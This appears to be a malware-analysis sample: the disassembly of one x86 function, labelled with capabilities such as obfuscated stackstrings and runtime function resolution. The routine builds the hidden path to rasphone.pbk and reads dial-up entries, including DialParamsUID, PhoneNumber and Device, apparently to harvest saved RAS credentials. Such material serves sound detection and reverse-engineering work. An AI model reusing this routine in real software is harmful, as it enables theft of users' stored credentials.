Function at 0x10005d20
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x860
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.lstrcatA
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.GetPrivateProfileSectionNamesA
push str.kernel32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
push str.GetPrivateProfileStringA
push str.KERNEL32.dll
mov dword [esp + 0xbc], eax
call edi
push eax
call ebp
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0xb4], eax
call edi
push eax
call ebp
push str.GetVersionExA
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call edi
push eax
call ebp
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.lstrcpyA
push str.KERNEL32.dll
mov dword [esp + 0xc0], eax
call edi
push eax
call ebp
push str.lstrcmpA
push str.KERNEL32.dll
mov dword [esp + 0xb8], eax
call edi
push eax
call ebp
mov dword [esp + 0xbc], eax
mov al, 0x6f
mov cl, 0x6e
mov dl, 0x74
mov byte [esp + 0x1c], 0x44
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x20
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 0x20
mov byte [esp + 0x2a], 0x53
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x67
mov byte [esp + 0x31], 0x73
mov ebx, 0x5c
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x41
mov byte [esp + 0x66], 0x70
mov byte [esp + 0x67], 0x70
mov byte [esp + 0x68], 0x6c
mov byte [esp + 0x69], 0x69
mov byte [esp + 0x6a], 0x63
mov byte [esp + 0x6b], 0x61
mov byte [esp + 0x6c], dl
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], al
mov byte [esp + 0x6f], cl
mov byte [esp + 0x70], 0x20
mov byte [esp + 0x71], 0x44
mov byte [esp + 0x72], 0x61
mov byte [esp + 0x73], dl
mov byte [esp + 0x74], 0x61
mov byte [esp + 0x75], bl
mov byte [esp + 0x76], 0x4d
mov byte [esp + 0x77], 0x69
mov byte [esp + 0x78], 0x63
mov byte [esp + 0x79], 0x72
mov byte [esp + 0x7a], al
mov byte [esp + 0x7b], 0x73
mov byte [esp + 0x7c], al
mov byte [esp + 0x7d], 0x66
mov byte [esp + 0x7e], dl
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], 0x4e
mov byte [esp + 0x81], 0x65
mov byte [esp + 0x82], dl
mov byte [esp + 0x83], 0x77
mov byte [esp + 0x84], al
mov byte [esp + 0x85], 0x72
mov byte [esp + 0x86], 0x6b
mov byte [esp + 0x87], bl
mov byte [esp + 0x88], 0x43
mov byte [esp + 0x89], al
mov byte [esp + 0x8a], cl
mov byte [esp + 0x8b], cl
mov byte [esp + 0x8c], 0x65
mov byte [esp + 0x8d], 0x63
mov byte [esp + 0x8e], dl
mov byte [esp + 0x8f], 0x69
mov byte [esp + 0x90], al
mov byte [esp + 0x91], cl
mov byte [esp + 0x92], 0x73
mov byte [esp + 0x93], bl
mov byte [esp + 0x94], 0x70
mov byte [esp + 0x95], 0x62
mov byte [esp + 0x96], 0x6b
mov byte [esp + 0x97], bl
mov byte [esp + 0x98], 0x72
mov byte [esp + 0x99], 0x61
mov byte [esp + 0x9a], 0x73
mov byte [esp + 0x9b], 0x70
mov byte [esp + 0x9c], 0x68
mov byte [esp + 0x9d], al
mov byte [esp + 0x9e], cl
mov byte [esp + 0x9f], 0x65
mov byte [esp + 0xa0], 0x2e
mov byte [esp + 0xa1], 0x70
mov byte [esp + 0xa2], 0x62
mov byte [esp + 0xa3], 0x6b
mov byte [esp + 0xa4], 0
mov byte [esp + 0x34], 0x4d
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x37], 0x72
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x66
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x4e
mov byte [esp + 0x3f], 0x65
mov byte [esp + 0x40], dl
mov byte [esp + 0x41], 0x77
mov byte [esp + 0x42], al
mov byte [esp + 0x47], al
mov byte [esp + 0x4e], al
mov byte [esp + 0x5b], al
lea eax, [esp + 0x160]
push 0x105
push eax
mov byte [esp + 0x4b], 0x72
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x43
mov byte [esp + 0x50], cl
mov byte [esp + 0x51], cl
mov byte [esp + 0x52], 0x65
mov byte [esp + 0x53], 0x63
mov byte [esp + 0x54], dl
mov byte [esp + 0x55], 0x69
mov byte [esp + 0x57], cl
mov byte [esp + 0x58], 0x73
mov byte [esp + 0x59], bl
mov byte [esp + 0x5a], 0x70
mov byte [esp + 0x5b], 0x62
mov byte [esp + 0x5c], 0x6b
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], 0x61
mov byte [esp + 0x60], 0x73
mov byte [esp + 0x61], 0x70
mov byte [esp + 0x62], 0x68
mov byte [esp + 0x64], cl
mov byte [esp + 0x65], 0x65
mov byte [esp + 0x66], 0x2e
mov byte [esp + 0x67], 0x70
mov byte [esp + 0x68], 0x62
mov byte [esp + 0x69], 0x6b
mov byte [esp + 0x6a], 0
call dword [esp + 0x20]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x160]
push ecx
push ebx
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [esp + 0xb8]
mov eax, dword [esi + 0x14]
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x160]
push eax
push ecx
call edi
lea edx, [esp + 0x64]
lea eax, [esp + 0x160]
push edx
push eax
call edi
push 0
lea ecx, [esp + 0x36c]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [esp + 0x34]
lea eax, [esp + 0x368]
push edx
push eax
lea ecx, [esp + 0x370]
push 0x100fa490
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0xcc]
lea edx, [esp + 0x160]
lea eax, [esp + 0x368]
push ecx
mov dword [esp + 0xc8], edx
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], 0x94
call dword [esp + 0x18]
mov eax, dword [esp + 0xdc]
mov edi, 2
cmp eax, edi
jne 0x100061ae
cmp dword [esp + 0xd0], 5
jb 0x100061ae
mov ecx, esi
call fcn.10005a50
push 0x1000
call sub.MFC42.DLL_operatornew
mov ebp, eax
lea edx, [esp + 0xc8]
add esp, 4
mov dword [esp + 0xc0], ebp
mov dword [esp + 0xa8], edx
mov dword [esp + 0x18], edi
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xa8]
mov eax, dword [eax]
push eax
push 0x1000
push ebp
mov dword [esp + 0x20], eax
call dword [esp + 0xc0]
cmp byte [ebp], 0
je 0x100063bc
push ebp
mov ecx, esi
call fcn.10006400
mov dword [esp + 0x10], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x268]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x470]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x670]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x770]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x570]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x268]
push ecx
push 0x100
push edx
push eax
push str.DialParamsUID
push ebp
call dword [esp + 0xc4]
test eax, eax
jle 0x10006303
mov eax, dword [esi + 0x10]
xor ebx, ebx
test eax, eax
jle 0x10006303
xor edi, edi
mov edx, dword [esi + 0x1c]
mov eax, edi
add eax, edx
lea ecx, [esp + 0x268]
push eax
push ecx
call dword [esp + 0xc4]
test eax, eax
je 0x100062b8
mov eax, dword [esi + 0x10]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x1000628d
jmp 0x10006303
mov edx, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [esp + 0xb0]
lea ecx, [esp + 0x470]
lea eax, [edi + edx + 0x200]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x670]
lea eax, [edi + edx + 0x100]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
mov byte [edi + edx + 0x300], 1
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov edi, dword [esp + 0x14]
mov ebx, dword [esp + 0xac]
push edi
lea eax, [esp + 0x774]
push 0x100
push eax
push 0
push str.PhoneNumber
push ebp
call ebx
push edi
lea ecx, [esp + 0x574]
push 0x100
push ecx
push 0
push str.Device
push ebp
call ebx
lea edx, [esp + 0x570]
mov ecx, esi
push edx
call fcn.10006400
mov edi, eax
lea eax, [esp + 0x470]
push eax
mov ecx, esi
call fcn.10006400
lea ecx, [esp + 0x770]
push edi
lea edx, [esp + 0x674]
mov ebx, eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push ebx
lea ecx, [esp + 0x278]
push eax
push ecx
mov ecx, esi
call fcn.100064c0
mov edx, dword [esp + 0x10]
push edx
call sub.MFC42.DLL_operatordelete
push ebx
call sub.MFC42.DLL_operatordelete
push edi
call sub.MFC42.DLL_operatordelete
add esp, 0xc
push ebp
call dword [esp + 0xbc]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10006206
mov ebp, dword [esp + 0xc0]
mov ecx, dword [esp + 0xa8]
mov eax, dword [esp + 0x18]
add ecx, 4
dec eax
mov dword [esp + 0xa8], ecx
mov dword [esp + 0x18], eax
jne 0x100061d6
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x860
ret